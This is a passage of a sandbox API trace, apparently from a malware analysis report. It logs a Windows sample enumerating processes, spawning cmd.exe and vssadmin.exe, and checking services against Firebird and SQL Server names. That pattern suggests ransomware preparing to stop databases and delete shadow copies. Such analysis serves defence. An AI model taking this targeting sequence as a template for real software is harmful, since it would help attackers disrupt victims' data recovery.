th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.888] lstrlenW (lpString="services.exe") returned 12 [0038.888] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.888] lstrlenW (lpString="lsass.exe") returned 9 [0038.888] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.889] lstrlenW (lpString="lsm.exe") returned 7 [0038.889] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.889] lstrlenW (lpString="svchost.exe") returned 11 [0038.889] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.890] lstrlenW (lpString="svchost.exe") returned 11 [0038.890] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.890] lstrlenW (lpString="svchost.exe") returned 11 [0038.890] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.891] lstrlenW (lpString="svchost.exe") returned 11 [0038.891] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.891] lstrlenW (lpString="svchost.exe") returned 11 [0038.891] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.892] lstrlenW (lpString="audiodg.exe") returned 11 [0038.892] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.892] lstrlenW (lpString="svchost.exe") returned 11 [0038.892] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.893] lstrlenW (lpString="svchost.exe") returned 11 [0038.893] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.893] lstrlenW (lpString="dwm.exe") returned 7 [0038.893] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.894] lstrlenW (lpString="explorer.exe") returned 12 [0038.894] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.894] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.894] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.895] lstrlenW (lpString="taskhost.exe") returned 12 [0038.895] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.895] lstrlenW (lpString="svchost.exe") returned 11 [0038.895] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.896] lstrlenW (lpString="taskeng.exe") returned 11 [0038.896] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.896] lstrlenW (lpString="taskhost.exe") returned 12 [0038.896] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0038.897] lstrlenW (lpString="dear.exe") returned 8 [0038.897] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0038.897] lstrlenW (lpString="b costa.exe") returned 11 [0038.897] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0038.898] lstrlenW (lpString="rc lock.exe") returned 11 [0038.898] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0038.898] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0038.898] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0038.899] lstrlenW (lpString="hugown.exe") returned 10 [0038.899] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0038.899] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0038.900] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0038.900] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0038.900] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0038.900] lstrlenW (lpString="locked welsh.exe") returned 16 [0038.901] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0038.901] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0038.901] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0038.901] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0038.901] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0038.902] lstrlenW (lpString="planners.exe") returned 12 [0038.902] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0038.902] lstrlenW (lpString="agreements.exe") returned 14 [0038.902] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0038.903] lstrlenW (lpString="tray.exe") returned 8 [0038.903] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0038.903] lstrlenW (lpString="wp std.exe") returned 10 [0038.904] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0038.904] lstrlenW (lpString="lesser.exe") returned 10 [0038.904] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0038.904] lstrlenW (lpString="right-tissue.exe") returned 16 [0038.905] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0038.905] lstrlenW (lpString="bunch.exe") returned 9 [0038.905] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0039.156] lstrlenW (lpString="jam.exe") returned 7 [0039.156] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0039.156] lstrlenW (lpString="chooseincidence.exe") returned 19 [0039.156] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0039.157] lstrlenW (lpString="numericalrear.exe") returned 17 [0039.157] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0039.157] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0039.158] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0039.158] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0039.158] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0039.158] lstrlenW (lpString="come_wave.exe") returned 13 [0039.159] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0039.159] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0039.159] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.160] lstrlenW (lpString="dllhost.exe") returned 11 [0039.160] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0039.160] lstrlenW (lpString="dllhost.exe") returned 11 [0039.160] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0039.161] lstrlenW (lpString="uyuquk.exe") returned 10 [0039.161] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0039.161] lstrlenW (lpString="cmd.exe") returned 7 [0039.161] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0039.162] lstrlenW (lpString="conhost.exe") returned 11 [0039.162] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0039.162] lstrlenW (lpString="vssadmin.exe") returned 12 [0039.162] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0039.163] lstrlenW (lpString="VSSVC.exe") returned 9 [0039.163] Process32NextW (in: hSnapshot=0x1a0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0039.163] CloseHandle (hObject=0x1a0) returned 1 [0039.163] Sleep (dwMilliseconds=0x1f4) [0040.239] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0040.240] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0040.240] GetLastError () returned 0xea [0040.240] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x55e478 [0040.240] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x123e, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0040.241] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0040.241] lstrlenW (lpString="Appinfo") returned 7 [0040.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0040.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0040.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0040.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0040.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0040.241] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0040.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0040.241] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0040.241] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0040.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0040.242] lstrlenW (lpString="AudioSrv") returned 8 [0040.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0040.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0040.242] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0040.242] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0040.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0040.242] lstrlenW (lpString="BFE") returned 3 [0040.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0040.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0040.242] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0040.242] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0040.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0040.242] lstrlenW (lpString="CryptSvc") returned 8 [0040.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0040.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0040.242] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0040.242] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0040.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0040.242] lstrlenW (lpString="CscService") returned 10 [0040.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0040.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0040.242] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0040.242] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0040.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0040.242] lstrlenW (lpString="DcomLaunch") returned 10 [0040.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0040.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0040.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0040.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0040.242] lstrlenW (lpString="Dhcp") returned 4 [0040.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0040.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0040.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0040.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0040.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0040.243] lstrlenW (lpString="Dnscache") returned 8 [0040.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0040.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0040.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0040.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0040.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0040.243] lstrlenW (lpString="DPS") returned 3 [0040.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0040.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0040.243] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0040.243] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0040.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0040.243] lstrlenW (lpString="eventlog") returned 8 [0040.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0040.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0040.243] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0040.243] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0040.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0040.243] lstrlenW (lpString="EventSystem") returned 11 [0040.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0040.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0040.243] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0040.243] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0040.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0040.243] lstrlenW (lpString="gpsvc") returned 5 [0040.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0040.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0040.243] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0040.243] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0040.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0040.243] lstrlenW (lpString="iphlpsvc") returned 8 [0040.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0040.244] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0040.244] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0040.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0040.244] lstrlenW (lpString="LanmanServer") returned 12 [0040.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0040.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0040.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0040.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0040.244] lstrcmpiW 